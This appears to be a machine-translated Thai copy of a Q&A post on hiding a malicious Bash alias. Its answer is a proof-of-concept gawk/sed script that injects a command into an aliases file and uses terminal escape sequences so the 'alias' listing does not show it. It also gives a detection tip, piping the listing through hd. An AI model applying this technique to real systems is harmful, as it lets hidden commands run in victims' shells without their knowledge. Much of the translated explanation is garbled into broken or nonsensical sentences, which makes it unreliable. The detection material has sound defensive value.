เป็นไปได้หรือไม่ที่จะซ่อนการดำรงอยู่ของนามแฝงที่เป็นอันตรายใน Bash บนระบบ Linux และดำเนินการโดยผู้ใช้โดยที่พวกเขาไม่รู้ตัว?
เป็นไปได้หรือไม่ที่จะซ่อนการดำรงอยู่ของนามแฝงที่เป็นอันตรายใน Bash บนระบบ Linux และดำเนินการโดยผู้ใช้โดยที่พวกเขาไม่รู้ตัว?
คำตอบ:
มันเป็นไปได้ที่จะทำเช่นนั้นโดยการเพิ่มนามแฝงที่มีอยู่ลงบนอันที่เป็นอันตรายและใช้การเคลื่อนไหวของเคอร์เซอร์เพื่อซ่อนมันหากใช้alias
คำสั่งเพื่อแสดงคำจำกัดความของนามแฝง มันไม่ได้เป็นวิธีที่เข้าใจผิดได้อย่างสมบูรณ์แบบ แต่อาจตรวจไม่พบสักระยะหนึ่ง การไพพ์alias
ผ่านhd
จะแสดงให้คุณเห็นว่ามีเอาชีวิตการหลบหนีใด ๆ (การเลื่อนเคอร์เซอร์) ในนามแฝงของคุณหรือไม่ นี่คือหลักฐานของแนวคิดสำหรับวิธีการแทรกคำสั่งที่เป็นอันตรายลงในนามแฝง:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
คำสั่งปรับเปลี่ยนไฟล์ที่เรียกว่า "นามแฝง" ในสถานที่ - สคริปต์ที่แท้จริงของประเภทนี้จะไปสำหรับคอและปรับเปลี่ยนแฟ้มสคริปต์จริงเพื่อนามแฝงที่เป็นอันตรายจะถูกเปิดใช้งานครั้งต่อไปที่จะได้ดำเนินการhide
เป็นอาร์กิวเมนต์ดังนั้นจึงเป็นไปได้ว่าคุณจะได้รับข้อผิดพลาดคล้ายกับที่รายงานในคำถามนี้ อาจเป็นไปได้ที่จะย้อนกลับส่วนเดิมและที่เป็นอันตรายเพื่อส่งผลกระทบต่อสิ่งนี้แม้ว่าสิ่งนี้จะรบกวนการโต้แย้งที่มีให้กับนามแฝง --
ความพยายามที่จะทำในสคริปต์ด้านบนเพื่อทำเครื่องหมายจุดสิ้นสุดของการขัดแย้งกับ&&
คุณสามารถไปป์หนึ่งต่อไปและสร้างสคริปต์ที่เป็นอันตราย (แสดงไว้ข้างต้นด้วยecho
คำสั่งง่าย ๆ) stdin
เพื่อstdout
ส่งต่อเพื่อแก้ไขข้อมูลเมื่อข้ามหรือซ่อน ดำรงอยู่ต่อไปโดยไม่รบกวนการเปลี่ยนเส้นทางอื่นhide
สตริงอาจจะแก้ไขให้มีการเคลื่อนไหวของเคอร์เซอร์ที่แตกต่างกันและข้อความของนามแฝงเดิมเพื่อให้alias
คำสั่งจะปรากฏแสดงนามแฝงแปรแทนที่จะซ่อนมันพร้อมกับส่วนที่เป็นอันตราย. aliases
จะลองมันออกมาเป็นลายลักษณ์อักษรคุณจะต้องมีอย่างน้อยสี่นามแฝงที่ใช้งานเรียกใช้สคริปต์นี้แล้วแหล่งแฟ้มผลกับ alias|hd
จากนั้นคุณสามารถพยายามที่จะใช้นามแฝงได้รับผลกระทบและดูสิ่งที่ดูเหมือนว่าเมื่อคุณทำ